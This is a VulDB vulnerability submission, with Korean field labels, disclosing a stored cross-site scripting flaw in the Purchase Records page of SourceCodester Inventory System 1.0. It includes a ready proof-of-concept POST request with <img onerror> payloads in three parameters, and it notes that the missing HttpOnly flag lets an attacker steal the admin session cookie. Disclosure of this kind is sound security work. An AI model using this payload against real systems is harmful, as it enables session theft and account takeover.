| 제목 | SourceCodester Inventory System 1.0 Cross Site Scripting |
|---|
| 설명 | A Stored Cross-Site Scripting (XSS) vulnerability was discovered in SourceCodester Inventory System 1.0. The vulnerability exists in the Purchase Records page (/purchases.php). The application does not sanitize user-supplied input for the Product_Name, Product_Code, and Vendor_Name parameters when saving a purchase via /api/transactions_handler.php?action=save_purchase. The malicious payloads are stored in the database and executed in the browser of any user who visits purchases.php. Multiple parameters are affected, allowing multiple XSS payloads to trigger simultaneously. DataTables renders stored data using innerHTML without encoding. The session cookie lacks the HttpOnly flag, enabling session theft and full account takeover.
PoC:
POST /product_inventory/Product_Inventory/api/transactions_handler.php?action=save_purchase
Content-Type: application/x-www-form-urlencoded
Product_Code=<img src=x onerror="alert('XSS-Product_Code')">&Product_Name=<img src=x onerror="alert('XSS-Product_Name')">&Hsn_Code=123&Vendor_Id=123&Vendor_Name=<img src=x onerror="alert('XSS-Vendor_Name')">&Purchase_Date=2026-10-02&Purchase_Units=123&Purchase_Cost=123&IGST=0&CGST=0&SGST=0&Total_Amount=100
Steps:
1. Login as any authenticated user
2. Send the above POST request
3. Navigate to /purchases.php
4. Multiple JavaScript alerts fire for Product_Code, Product_Name, and Vendor_Name
5. Attacker can steal admin session via document.cookie |
|---|
| 원천 | ⚠️ https://github.com/Mohnad-AL-saif/MyCVEs/blob/main/VulDB/Inventory-System/CVE-02-XSS-purchases.md |
|---|
| 사용자 | Muhannad AlSaif (UID 101875) |
|---|
| 제출 | 2026. 10. 03. AM 12:40 (17 날 ago) |
|---|
| 모더레이션 | 2026. 10. 18. PM 07:10 (16 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 421920 [SourceCodester Inventory System 1.0 Purchase Records transactions_handler.php?action=save_purchase Product_Name/Product_Code/Vendor_Name 크로스 사이트 스크립팅] |
|---|
| 포인트들 | 20 |
|---|